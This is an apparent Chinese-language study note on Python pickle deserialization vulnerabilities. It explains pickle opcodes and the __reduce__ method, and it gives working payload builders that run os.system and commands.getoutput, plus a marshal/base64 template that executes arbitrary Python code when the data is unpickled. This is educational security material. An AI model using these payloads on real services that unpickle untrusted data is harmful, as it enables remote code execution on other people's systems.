Python 反序列化漏洞学习笔记

参考文章

一篇文章带你理解漏洞之 Python 反序列化漏洞
Python Pickle/CPickle 反序列化漏洞
Python反序列化安全问题
pickle反序列化初探

前言

上面看完，请忽略下面的内容

Python 中有很多能进行序列化的模块，比如 Json、pickle/cPickle、Shelve、Marshal

一般 pickle 模块较常使用
在 pickle 模块中 , 常用以下四个方法

• pickle.dump(obj, file) : 将对象序列化后保存到文件
• pickle.load(file) : 读取文件， 将文件中的序列化内容反序列化为对象
• pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
• pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
  注意：file文件需要以 2 进制方式打开，如 wb、rb

序列化

1. 从对象提取所有属性,并将属性转化为键值对
2. 写入对象的类名
3. 写入键值对

看到下面这个序列化例子

py3 序列化后结果为：

b'x80x04x954x00x00x00x00x00x00x00x8cx08__main__x94x8cx04Testx94x93x94)x81x94}x94(x8cx04namex94x8cx051ndexx94x8cx03agex94Kx12ub.'

py2 序列化后结果为：

(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.

这么一大串字符代表什么意思呢？可以简单的与 PHP 反序列化结果做类比 ----> 特定的字符开头帮助解释器指明特定的操作或内容
实际上这是一串 PVM 操作码

以 py2 运行得到的序列化结果 其中某些行的开头的字符具有特殊含义

符号	含义	形式	例子
c	导入模块及其具体对象	c[module] [instance]	cos system
(	左括号
t	相当于)，与(组合构成一个元组
R	表示反序列化时依据 reduce 中的方式完成反序列化，会避免报错	这在反序列化漏洞中很重要	很重要
S	代表一个字符串	S'string'
p	后面接一个数字，代表第n块堆栈		p0、p1
.	表示结束	.

例如：

cos
system
(S'whoami'
tR.

反序列化

1. 获取 pickle 输入流，也就是上面说的 PVM 码
2. 重建属性列表
3. 根据类名创建一个新的对象
4. 将属性复制到新的对象中

反序列化时，将字符串(pickle 流)转换为对象

与 PHP 序列化相似，Python 序列化也是将对象转换成具有特定格式的字符串(py2)或字节流(py3)，以便于传输与存储，比如 session

但是在反序列化时又与 PHP 反序列化又有所不同：

• PHP 反序列化要求源代码中必须存在有问题的类，要求是被反序列化的对象中存在可控参数，具体可看这里
• 而 Python 反序列化不需要，其只要求被反序列化的字符可控即可造成 RCE，例如：

# Python2
import pickle
s ="cos
system
(S'whoami'
tR."  # 将被反序列化的字符串
pickle.loads(s)  # 反序列化后即可造成命令执行，因此网站对要被反序列化的字符串应该做严格限制

在 Python 中，一切皆对象，因此能使用 pickle 序列化的数据类型有很多

• None、True 和 False
• 整数、浮点数、复数
• str、byte、bytearray
• 只包含可封存对象的集合，包括 tuple、list、set 和 dict
• 定义在模块最外层的函数（使用 def 定义，lambda 函数则不可以）
• 定义在模块最外层的内置函数
• 定义在模块最外层的类
• 某些类实例，这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存

其中文件、套接字、以及代码对象不能被序列化！

Why

Python 反序列化漏洞跟 __reduce__() 魔术方法相关
其类似于 PHP 对象中的 __wakeup() 方法，会在反序列化时自动调用
__reduce__() 魔术方法可以返回一个字符串或者时一个元组。其中返回元组时，第一个参数为一个可调用对象，第二个参数为该对象所需要的参数

When

关键问题就在 __reduce__ 方法第二种返回方式---元组。在反序列化时自动调用 __reduce__() 方法，该方法会自动调用返回值中的函数模块并执行
例如下面存的代码：

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
pickle.loads(b)  # 执行该语句进行反序列化，自动执行 __reduce__ 方法，并且执行 os.system('ipconfig')

注意点：元类无法在反序列化时调用 __reduce__ 魔术方法，简单理解就是没有继承 object 的类

class A():
    pass  # 反序列化时不会调用 __reduce__ 方法
class B(object):
    pass  # 反序列化时会调用 __reduce__ 方法

由于 Python 反序列化时只需要被反序列化的字符串可控(而不需要源代码中存在有安全问题的类)便可造成 RCE
因此我们可以通过如下代码轻松构造 Payload：

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
print(b)

特性

1. 看到如下两种不同的序列化结果：

• 一

import pickle
import os
class Rce(object):
	name = "1ndex"
a = Rce()
print(pickle.dumps(a))

结果：

ccopy_reg
_reconstructor
p0
(c__main__
Rce
p1
c__builtin__
object
p2
Ntp3
Rp4
.

• 二

import pickle
import os
class Rce(object):
	name = "1ndex"
	def __reduce__(self):
		return (os.system,("a",))
a = Rce()
print(pickle.dumps(a))

结果：

cposix
system
p0
(S'ifconfig'
p1
tp2
Rp3
.         

然后用下面这个代码执行反序列化：

import pickle
str = "填写上面序列化后的结果"
pickle.loads(str)

一 对应的结果反序列化：

AttributeError: 'module' object has no attribute 'Rce'  # 报错

二 对应的结果反序列化成功

一般来说反序列化时如果源代码中没有对应的类 Rce，是会直接报错的(也就是上面一的结果)，但是为什么在反序列化二的时候却能成功呢？源代码中明明也没有这个 Rce 的类啊

当序列化以及反序列化的过程中碰到一无所知的扩展类型/类的时候，可以通过类中定义的 __reduce__ 方法来告知如何进行序列化或者反序列化
也就是说我们，只要在类中定义一个 reduce 方法，我们就能在反序列化时，让这个类根据我们在__reduce__ 中指定的方式进行序列化(也就会执行 return 中的恶意代码)

这应该就是大佬说的相似：

Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外，还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象，这样的话就大大拓宽了我们的攻击面。

2. 反序列化执行 reduce 魔术方法，在 return 时，回自动导入源代码中没有引入的模块，例如：

import pickle
s ="cos
system
(S'whoami'
tR."  # 将被反序列化的字符串
pickle.loads(s)  # 实际上会执行 os.system('whoami')，但是可以看到源代码中并未导入 os 模块

Solution

• 严格控制要被反序列化的字符串

利用

执行命令

import pickle
import os
class Rce(object):
	def __reduce__(self):
		return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))

执行任意 Python 代码

import marshal
import base64

def code():
    # 这里放任意想执行的 Python 代码
    pass

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))